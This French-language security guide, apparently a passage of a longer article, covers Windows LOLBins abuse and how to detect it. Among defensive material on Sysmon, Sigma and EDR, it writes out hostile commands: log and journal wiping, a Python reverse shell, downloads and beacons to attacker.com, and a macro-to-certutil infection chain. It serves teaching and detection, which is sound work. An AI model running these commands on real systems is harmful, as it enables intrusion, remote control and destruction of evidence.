Les LOLBins sont intensivement utilises pour l'evasion des defenses et l'effacement des traces forensiques. wevtutil.exe permet l'effacement des journaux d'evenements Windows (wevtutil cl Security, wevtutil cl System), eliminant les traces des activites malveillantes dans les logs locaux. fsutil.exe manipule le filesystem NTFS et peut etre utilise pour desactiver la journalisation USN (fsutil usn deletejournal /D C:), effacer les timestamps des fichiers, et modifier les attributs. cipher.exe /W ecrase l'espace libre sur le disque, rendant la recuperation des fichiers supprimes impossible. schtasks /delete supprime les taches planifiees utilisees pour la persistance apres qu'elles aient servi leur objectif, et sc delete supprime les services malveillants apres la phase d'exploitation. PowerShell offre des capacites avancees d'anti-forensics via la manipulation des proprieties de fichiers (Set-ItemProperty -Path file -Name LastWriteTime -Value "01/01/2024"), la suppression selective des logs PowerShell, et l'effacement de l'historique de commandes. La detection de ces activites anti-forensiques via Sysmon (Event ID 1 pour les commandes wevtutil et fsutil, Event ID 11 pour la creation de fichiers par cipher) et les regles Sigma correspondantes est essentielle pour identifier les tentatives de destruction de preuves qui suivent une compromission.

Privilege escalation via LOLBins

Les LOLBins jouent un role essentiel dans l'escalade de privileges sur les systemes Windows. Plusieurs binaires systeme peuvent etre exploites pour obtenir des privileges eleves lorsqu'ils sont configures de maniere insecurisee. Les services Windows avec des chemins non quotes contenant des espaces (Unquoted Service Path) permettent a un attaquant de placer un executable malveillant dans un chemin intermediaire qui sera execute avec les privileges du service (souvent SYSTEM). sc.exe enumerate les services et leurs chemins (sc qc ServiceName), tandis que icacls.exe verifie les permissions sur les repertoires des services pour identifier les cas ou un utilisateur non privilegie peut ecrire dans le chemin du service. Les DLL hijacking sur les services exploitent les services qui chargent des DLL depuis des repertoires ou l'utilisateur courant a des droits d'ecriture — l'attaquant place une DLL malveillante portant le nom attendu dans le repertoire priorise par le search order Windows, et la DLL est chargee avec les privileges du service au prochain redemarrage. accesschk.exe (Sysinternals, souvent present sur les serveurs administres) identifie les services et repertoires avec des permissions faibles. Les AlwaysInstallElevated permettent a tout utilisateur d'installer des packages MSI avec des privileges SYSTEM via msiexec.exe lorsque les cles de registre correspondantes sont activees. La detection de ces techniques d'escalade repose sur la surveillance des modifications de DLL dans les repertoires de services (FIM Sysmon EID 11), la creation de nouveaux services (Windows Event 7045), et l'execution de msiexec avec des parametres inhabituels.

LOLBins pour la communication C2

Les LOLBins peuvent servir de canal de communication Command and Control (C2) discret, contournant les solutions de monitoring reseau qui bloquent ou alertent sur le trafic des executables non reconnus. bitsadmin.exe effectue des requetes HTTP/HTTPS periodiques via le service BITS, dont le trafic est melange avec les mises a jour Windows Update legitimes utilisant le meme service. PowerShell avec Invoke-WebRequest ou System.Net.WebClient genere du trafic HTTP standard difficile a distinguer de l'activite de scripting d'administration legitime. certutil.exe avec -urlcache genere des requetes HTTP qui apparaissent comme des verifications de certificats ou de listes de revocation. Les techniques plus avancees utilisent mshta.exe pour maintenir des connexions vers des applications HTA distantes servant de panel C2, ou rundll32.exe chargeant des DLL qui implementent des protocoles C2 personnalises (HTTP, DNS, ICMP, WebSocket). La detection du C2 via LOLBins necessite une analyse comportementale du trafic reseau : periodicite des connexions (beaconning), volume et timing des requetes, destinations inhabituelles pour le LOLBin concerne, et encodage suspect dans les donnees transferees (Base64, XOR, chiffrement personnalise).

LOLBins specifiques aux environnements de developpement

Visual Studio et outils de developpement comme LOLBins

Les environnements de developpement installent des binaires additionnels qui etendent considerablement la surface LOLBAS. devenv.exe (Visual Studio) peut charger des extensions malveillantes et executer du code dans le contexte de l'IDE. dotnet.exe (SDK .NET) permet la compilation et l'execution inline de code C# via dotnet run ou dotnet script, offrant un compilateur et un runtime complet sans necessiter Visual Studio. nuget.exe peut telecharger des packages depuis des repositories controles par l'attaquant, potentiellement avec des scripts d'installation malveillants. npm.exe et node.exe (Node.js) permettent l'execution de JavaScript cote serveur avec un acces complet au filesystem et au reseau, et les scripts preinstall/postinstall des packages npm executent du code arbitraire lors de l'installation. python.exe et pip.exe offrent les memes capacites dans l'ecosysteme Python, avec le risque additionnel de l'execution de setup.py lors de l'installation de packages contenant du code malveillant. Dans les environnements d'entreprise ou les developpeurs ont des postes avec des droits eleves, ces outils de developpement representent une surface d'attaque majeure souvent non couverte par les politiques AppLocker/WDAC qui se concentrent sur les binaires systeme Windows.

# LOLBins de developpement - Exemples d'exploitation

# dotnet.exe - Compilation et execution de code C# inline
echo 'using System; using System.Diagnostics; class P { static void Main() { Process.Start("calc.exe"); } }' > /tmp/evil.cs
dotnet run /tmp/evil.cs

# node.exe - Execution de JavaScript avec acces filesystem
node -e "require('child_process').execSync('whoami').toString()"
node -e "const http=require('http');http.get('http://attacker.com/beacon')"

# python.exe - Execution et reverse shell
python -c "import os; os.system('whoami')"
python -c "import socket,subprocess;s=socket.socket();s.connect(('10.10.14.10',4444));subprocess.call(['/bin/sh','-i'],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())"

# pip install depuis un repository malveillant
pip install evil-package --index-url https://attacker.com/pypi/simple/
# Le setup.py du package execute du code a l'installation

# nuget.exe - Telechargement de packages
nuget install MaliciousPackage -Source https://attacker.com/nuget/

# Git - Execution de hooks malveillants
git clone https://attacker.com/repo.git  # post-checkout hook s'execute automatiquement

Outils d'administration comme LOLBins

Les outils d'administration systeme installes sur les serveurs Windows constituent une categorie supplementaire de LOLBins souvent negligee. psexec.exe (Sysinternals) est l'outil de mouvement lateral le plus classique, permettant l'execution de commandes a distance via SMB et les services Windows. winrm.cmd et Enter-PSSession (PowerShell Remoting) offrent l'execution de commandes a distance via WS-Management avec chiffrement TLS, rendue plus difficile a detecter que PsExec car elle utilise un protocole de gestion legitime. dsacls.exe, csvde.exe et ldifde.exe sont des outils AD natifs qui permettent la manipulation directe de l'annuaire Active Directory, incluant la modification d'ACL sur des objets AD (potentiel DCSync setup), l'export/import massif de donnees d'annuaire, et la modification d'attributs critiques comme msDS-AllowedToActOnBehalfOfOtherIdentity (Resource-Based Constrained Delegation). ntdsutil.exe est l'outil ultime d'administration AD qui peut creer des snapshots de la base NTDS.dit (contenant tous les hashes de mots de passe du domaine), effectuer des operations de maintenance sur la base de donnees AD, et gerer les roles FSMO — des operations legitimement necessaires pour les administrateurs mais devastatrices entre les mains d'un attaquant.

LOLBins et la chaine d'infection initiale (Initial Access)

Documents Office et LOLBins : la combinaison classique

La chaine d'infection la plus courante dans les campagnes de phishing cible combine un document Office piege (Word, Excel, PowerPoint) avec des LOLBins pour l'execution et la persistance. Le scenario classique se deroule en plusieurs etapes : (1) la victime ouvre un document Word contenant une macro VBA, (2) la macro invoque mshta.exe ou wscript.exe pour executer un script VBS/HTA distant, (3) le script telecharge la charge utile principale via certutil.exe ou bitsadmin.exe, (4) la charge est executee via rundll32.exe ou regsvr32.exe, et (5) la persistance est etablie via une tache planifiee ou un job BITS. Chaque etape utilise un binaire Windows different, creant un process tree complexe mais caracteristique que les solutions de securite modernes detectent via la correlation parent-enfant. Les variantes modernes remplacent les macros VBA (de plus en plus bloquees par Microsoft) par des fichiers ISO/IMG contenant des LNK malveillants, des fichiers OneNote avec des objets embarques, ou des fichiers HTML avec du contenu MHTML encode qui exploite la fonctionnalite de template injection de Word.

# Chaine d'infection typique (process tree)
# winword.exe
#   -> cmd.exe /c mshta http://attacker.com/stage1.hta
#      -> powershell.exe -nop -w hidden -enc [base64]
#         -> certutil.exe -urlcache -split -f http://attacker.com/beacon.dll C:\Temp\update.dll
#         -> rundll32.exe C:\Temp\update.dll,Start
#         -> schtasks /create /tn "Update" /tr "rundll32 C:\Temp\update.dll,Start" /sc HOURLY
#
# Detection : process tree anormal
# Regle : winword.exe ne devrait JAMAIS lancer mshta, certutil, rundll32, powershell
# Les ASR Rules de Microsoft bloquent specifiquement ces chaines

LOLBins et exploitation des vulnerabilites web

Les LOLBins sont egalement utilises comme post-exploitation apres l'exploitation de vulnerabilites dans des applications web hebergees sur Windows (IIS, Apache sur Windows, applications .NET). Lorsqu'un attaquant obtient une execution de commande (RCE) via une injection SQL, une deserialisation insecurisee, ou un upload de webshell, les premieres commandes executees utilisent systematiquement des LOLBins pour la reconnaissance (whoami, net user, systeminfo), le telechargement de la charge principale (certutil -urlcache, powershell IEX), et l'etablissement d'un canal C2 stable (rundll32 chargeant un implant). Le contexte d'execution (souvent le compte de service IIS NETWORK SERVICE ou IIS APPPOOL\DefaultAppPool) determine les LOLBins utilisables et les escalades de privileges necessaires. Les serveurs web Windows executant IIS avec des applications ASP.NET sont particulierement susceptibles aux attaques par deserialisation ViewState, et les webshells ASP.NET deployes sur ces serveurs utilisent intensivement les LOLBins pour la post-exploitation.

Scenarios de detection en environnement reel

L'application des detections LOLBAS en environnement reel revele des defis pratiques qui ne sont pas apparents dans les configurations de laboratoire. Le premier defi est le volume de faux positifs : dans un environnement de 5000 postes, certutil est legitimement utilise par les services de certificats et les GPO de deploiement, mshta peut etre invoque par des applications legacy internes, et PowerShell est l'outil d'administration quotidien des equipes IT. La solution passe par une phase d'apprentissage ou les baselines d'utilisation normale sont etablies pour chaque LOLBin, suivie d'un whitelisting precis des usages legitimes (combinaison processus parent plus arguments plus utilisateur plus machine). Le deuxieme defi est la latence de detection : les alertes generees par Sysmon transitent par l'agent Wazuh, sont transmises au manager, decodees, evaluees par les regles, et indexees. Pour les attaques rapides, cette latence est acceptable ; pour les attaques ciblees sophistiquees ou l'attaquant opere en quelques secondes puis supprime ses traces, la detection temps-reel au niveau de l'EDR endpoint est necessaire en complement du SIEM. Le troisieme defi est la completude de la telemetrie : si Sysmon n'est pas deploye ou est mal configure, les evenements Windows natifs (EventID 4688) ne capturent pas les arguments de ligne de commande par defaut (necessitant l'activation de l'audit de creation de processus via GPO), laissant des angles morts critiques dans la detection LOLBAS. La combinaison Sysmon (telemetrie riche) plus Wazuh (correlation et alerting) plus EDR (protection temps reel) constitue l'architecture de detection optimale pour les environnements Windows d'entreprise.

Detection avancee : analyse comportementale et machine learning

La detection des techniques LOLBAS par analyse comportementale et machine learning represente l'evolution la plus prometteuse face a la difficulte inherente de distinguer l'usage legitime du detournement malveillant. Les approches modernes utilisent des modeles de baseline qui apprennent le comportement normal de chaque LOLBin dans l'environnement specifique de l'organisation : quels utilisateurs executent certutil, a quelles heures, avec quels arguments, vers quelles destinations reseau. Les deviations par rapport a cette baseline (un utilisateur qui n'a jamais utilise certutil lance soudainement un telechargement, ou un serveur qui n'a jamais initie de connexion sortante via mshta commence a contacter une IP externe) generent des alertes de haute fidelite avec un taux de faux positifs significativement reduit par rapport aux regles statiques.

Les User and Entity Behavior Analytics (UEBA) appliques aux LOLBins analysent les patterns temporels (heure d'execution, jour de la semaine, frequence), les patterns relationnels (processus parent, processus enfant, cibles reseau), et les patterns volumetriques (nombre d'executions, volume de donnees transferees) pour attribuer un score de risque a chaque evenement. La correlation multi-sources entre les evenements Sysmon, les logs Windows, les logs reseau (firewall, proxy), et les logs d'authentification (AD) enrichit le contexte de chaque evenement LOLBAS et permet de reconstruire des chaines d'attaque completes. Les solutions EDR et SIEM avances (Microsoft Sentinel, Splunk UBA, Elastic Security) implementent ces approches ML pour la detection LOLBAS, mais les organisations peuvent egalement construire leurs propres modeles en utilisant les donnees collectees par Sysmon et les metriques SOC comme signal d'apprentissage.

LOLBins et evasion des solutions EDR modernes

Techniques de process hollowing et injection via LOLBins

Les LOLBins servent frequemment de cibles pour les techniques de process hollowing et d'injection de processus car leur execution est consideree comme normale par les solutions de securite. Le process hollowing consiste a demarrer un processus legitime (par exemple svchost.exe ou RuntimeBroker.exe) en mode suspendu, a vider son espace memoire, a y injecter du code malveillant, puis a reprendre l'execution — le processus apparait comme un binaire Windows legitime dans le Task Manager et les outils de monitoring. Les LOLBins comme notepad.exe, calc.exe et explorer.exe sont frequemment utilises comme cibles de hollowing car ils n'initient normalement pas de connexions reseau, ce qui rend le traffic C2 emis depuis ces processus particulierement suspect mais difficile a detecter automatiquement sans analyse memoire. Les outils de post-exploitation modernes (Cobalt Strike, Havoc, Sliver) integrent nativement le process hollowing et l'injection dans des LOLBins configures par l'operateur, avec des options avancees comme le PPID spoofing (falsification du processus parent pour apparaitre comme un enfant de explorer.exe plutot que de cmd.exe) et le BlockDLLs (empechant le chargement de DLLs non-Microsoft dans le processus cible, bloquant potentiellement les hooks EDR).

Utilisation de LOLBins pour le contournement AMSI

L'AMSI (Antimalware Scan Interface) inspecte le contenu des scripts avant leur execution par PowerShell, JScript, VBScript et les assemblies .NET. Les attaquants utilisent des LOLBins pour contourner AMSI de plusieurs manieres : l'execution de code via msbuild.exe (qui utilise son propre moteur d'execution .NET sans passer par le provider AMSI de PowerShell), l'utilisation de installutil.exe qui charge des assemblies .NET directement (sans le scan AMSI des scripts), et le recours a cscript.exe/wscript.exe pour executer du VBScript/JScript qui, selon les versions de Windows, peut ne pas etre entierement couvert par AMSI. De plus, les LOLBins qui chargent du code natif (C/C++) via rundll32.exe contournent completement AMSI car celui-ci ne s'applique qu'aux langages de scripting et au .NET manage. Cette hierarchie de couverture AMSI cree des "trous" dans la detection que les attaquants exploitent methodiquement en choisissant le LOLBin et le langage d'execution qui minimisent l'exposition aux mecanismes de detection.

Living Off the Land dans les environnements Linux

Bien que ce guide se concentre sur Windows et le projet LOLBAS, il est important de noter l'equivalent Linux : GTFOBins. Les binaires Unix exploitables incluent python, perl, ruby (execution de code), wget, curl, fetch (telechargement), nc (netcat), socat (reverse shells et transfert), vim, less, awk (echappement de shells restreints et elevation de privileges via SUID), find, tar (execution de commandes via arguments speciaux), et docker (echappement de container ou elevation de privileges si l'utilisateur est dans le groupe docker). Les techniques Linux sont particulierement pertinentes pour les pentests d'infrastructures cloud (la majorite des serveurs cloud executent Linux) et les environnements de containers. La detection des techniques GTFOBins sur Linux utilise auditd (equivalent de Sysmon pour Linux), les Falco rules (detection runtime pour Kubernetes/Docker), et les regles Sigma pour les sources de logs Linux. L'integration avec Wazuh via les agents Linux couvre la detection des commandes suspectes via l'analyse des logs audit, le monitoring d'integrite des fichiers SUID/SGID, et la surveillance des modifications de crontab et des fichiers d'autostart.

Ressources et veille LOLBAS

La veille sur les nouvelles techniques LOLBAS est essentielle car de nouveaux binaires exploitables sont regulierement decouverts par la communaute de securite offensive. Les ressources principales incluent le projet LOLBAS (lolbas-project.github.io) avec son repository GitHub acceptant les contributions communautaires, le projet LOLDrivers (loldrivers.io) pour les drivers vulnerables, GTFOBins (gtfobins.github.io) pour l'equivalent Linux, le MITRE ATT&CK sous-technique T1218 et ses sous-techniques pour le suivi des evolutions des techniques de proxy execution, les publications de chercheurs comme Oddvar Moe (@oddaborern), Casey Smith (@subtee) et Adam Chester (@_xpn_) qui publient regulierement de nouvelles decouvertes de LOLBins, et les conferences de securite (DEF CON, Black Hat, BSides) ou de nouvelles techniques sont presentees. Pour l'aspect defensif, le repository SigmaHQ/sigma sur GitHub maintient des regles de detection constamment mises a jour pour les nouvelles techniques, et les blogs de Microsoft Threat Intelligence, Red Canary, et Elastic Security publient des analyses detaillees des campagnes utilisant des LOLBins avec des recommandations de detection et de prevention. L'integration de ces sources dans un programme de veille structure permet aux equipes de securite de maintenir leurs detections a jour face a l'evolution constante des techniques offensives.

Conclusion

Les techniques LOLBAS representent un defi fondamental pour la cybersecurite defensive car elles exploitent les outils memes que le systeme d'exploitation fournit pour son administration legitime. Chaque binaire Windows signe par Microsoft — de certutil a mshta, de rundll32 a bitsadmin — possede des capacites doubles qui peuvent etre detournees pour l'execution de code, le telechargement de charges utiles, l'evasion des defenses et la persistance. Les groupes APT les plus sophistiques exploitent systematiquement ces techniques, combinant LOLBins, LOLScripts et LOLDrivers dans des chaines d'attaque complexes qui minimisent les artefacts sur le disque et le reseau. La defense efficace repose sur une strategie multi-couches combinant des controles preventifs robustes (WDAC, AppLocker, ASR rules, script block logging) avec une telemetrie exhaustive (Sysmon, Windows Events) et des regles de detection sophistiquees (Sigma, correlation comportementale). L'emulation reguliere de menaces via Atomic Red Team et les exercices Purple Team permettent de valider l'efficacite des detections et de fermer les gaps identifies dans un cycle d'amelioration continue. Les organisations qui investissent dans la comprehension approfondie des techniques LOLBAS et dans l'implementation systematique des defenses recommandees construisent une posture de securite resiliente face aux menaces les plus avancees du paysage contemporain.